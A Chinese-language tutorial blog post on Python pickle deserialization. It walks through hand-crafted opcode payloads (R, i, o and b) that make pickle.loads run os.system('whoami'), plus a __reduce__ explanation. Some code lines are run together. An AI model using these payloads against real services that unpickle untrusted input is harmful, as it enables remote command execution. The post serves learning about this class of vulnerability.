当前位置: 首页 > news >正文

Pickle pyhton反序列化

参考文章 Python pickle反序列化浅析 

Pickle包含四种方法 

pickle.dump(obj, file)
将obj对象进行封存,即序列化,然后写入到file文件中
注:这里的file需要以wb打开(二进制可写模式)
pickle.load(file)
将file这个文件进行解封,即反序列化
注:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj)
将obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
pickle.loads(data)
将data解封,即进行反序列化
注:data要求为bytes-like object(字节类对象)

常用的也就是dumpload,类似于PHP的seralizeunseralize

import picklezj = 'tttang'filename = "tttang"
# 序列化
with open(filename, 'wb') as f:#以二进制可写形式打开tttang这个文件pickle.dump(zj, f) #将zj这个变量对应的字符串进行序列化并写入到f中
# 读取序列化后生成的文件
with open(filename, "rb") as f:print(f.read())# 反序列化
with open(filename, "rb") as f: #以二进制可读形式打开tttang这个文件print(pickle.load(f)) #将这个文件进行反序列化并输出

 __reduce__
调用:被定义之后,当对象被pickle时就会触发
作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle
    如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数元素,供对象调用

编写opcode实现函数执行

opcode,也就是那序列化后的那些字符,它们都有一定的含义,我们通过编写opcode实现函数执行

# 'abcd'
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.'# \x80:协议头声明 \x03:协议版本
# \x04\x00\x00\x00:数据长度:4
# abcd:数据
# q:储存栈顶的字符串长度:一个字节(即\x00)
# \x00:栈顶位置
# .:数据截止 

opcode 字符含义表

R操作符:弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素。因此这里的话,我们想执行的命令whoami放入栈中,再把system模块放入栈中,即可实现函数的函数执行。与函数执行相关的opcode有三个: R 、 i 、 o

R操作符:弹出栈作为函数执行的参数,因此这里的参数需要是元组形式,然后取栈中最后一个元素作为函数,并将指向结果赋值给此元素
因此这里的话,我们想执行的命令whoami放入栈中,再把system模块放入栈中,用\x85返回元组

import pickle
a=b'cos
system
X\x06\x00\x00\x00whoami\x85R.'
flag=pickle.loads(a)
字符c读取moduleos,读取namesystem,此时就构造出了os.system
字符X,往后读取四位\x06\x00\x00\x00whoami
字符\x85,它将最后一个数据变成元组重新入栈
字符.,结束了反序列化

i操作符:向下依次读取两行分别作为modulename

b'''(X\x06\x00\x00\x00whoamiios
system
.'''
字符(,为了与后面的字符i作对应,i字符寻找上一个MARK来闭合,然后组合其内的数据作为元组,以此元组作为函数参数
字符X,向后读取四个字符串\x06\x00\x00\x00whoami而后压入栈中
字符i,往后读取两行得到os.system,调用参数并执行
字符.,结束反序列化

o操作符 :先弹出栈中一个元素作为args,也就是参数,而后再弹出第一个元素作为函数

b'''(cos
system
X\x06\x00\x00\x00whoamio.
'''
字符(,为了和之后的字符o对应,实现闭合,获取函数及参数
字符c,往后读取两行,得到函数os.system
字符X,往后读取四位得到x06\x00\x00\x00whoami,即whoami
字符o,与(实现闭合,将第一个元素,也就是os.system作为函数,第二个元素whoami作为参数,执行
字符.,结束反序列化

b操作符:

b'''c__main__
tttang
)\x81}X\x0C\x00\x00\x00__setstate__cos
system
sbX\x06\x00\x00\x00whoamib.'''
字符c,往后读取两行,得到主函数和类,__main__.tttang
字符),向栈中压入空元祖()
字符},向栈中压入空字典{}
字符X,读取四位\x0C\x00\x00\x00__setstate__,得到__setstate__
字符c,向后读取两行,得到函数os.system
字符s,将第一个和第二个元素作为键值对,添加到第三个元素中,此时也就是{__main.tttang:()},__setstate__,os.system
字符b,第一个元素出栈,此时也就是{'__setstate__': os.system},此时执行一次setstate(state)
字符X,往后读取四位x06\x00\x00\x00whoami,即whoami
字符b,弹出元素whoami此时state为whoami,执行os.system(whoami)
字符.,结束反序列化

例子

class Student:def __init__(self, name, age):self.name = nameself.age = age
#R:
data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''a=pickle.loads(data)
print(a.name,a.age)S:实例化一个字符串对象
t:寻找栈中的上一个MARK,并组合之间的数据为元组

http://www.lryc.cn/news/214643.html

相关文章:

  • 动静分离技术
  • STM32单片机智能小车一PWM方式实现小车调速和转向
  • 灰狼优化算法(GWO)python
  • 项目知识点总结-住房图片信息添加-Excel导出
  • 第三届iEnglish全国ETP大赛决赛即将启动
  • 创造产业链协同优势后,凌雄科技在DaaS行业转动成长飞轮
  • 【protobuf】protobuf自定义数据格式,CMake编译C++文件读写自定义数据
  • 解决:http://localhost:8080 不在以下 request 合法域名列表中
  • Linux普通用户提权(sudo)
  • 链表指定节点的插入
  • 解决问题Conda:CondaValueError: Malformed version string ‘~’ : invalid character(s)
  • Sci Immunol丨Tim-3 适配器蛋白 Bat3 是耐受性树突状细胞
  • 天软特色因子看板(2023.10 第14期)
  • Photoshop(PS)2021版 安装教程(图文教程超详细)
  • 详解React:Props构建可复用UI的基石
  • 【Unity】【VR开发疑难】Unity运行就报无法启动XR Plugin
  • 本地启动Elasticsearch(docker启动)
  • JVM修炼印记之初识
  • 开关电源老化试验和性能检测系统软件
  • 水库大坝可视化智能远程监管方案,助力安全监测智能巡检
  • C#学习系列之虚方法和多态
  • 面试算法44:二叉树中每层的最大值
  • JWT的头部、载荷和签名分别包含哪些信息?
  • 【烧火柴问题】奇思妙想火柴
  • C++数据结构算法篇Ⅰ
  • Python selenium获取元素信息
  • 测试Winsock的select
  • CentOS 搭建 Hadoop3 高可用集群
  • ModuleNotFoundError: No module named ‘paddle.fluid.incubate.fleet‘
  • 【Java】Java中的引用类型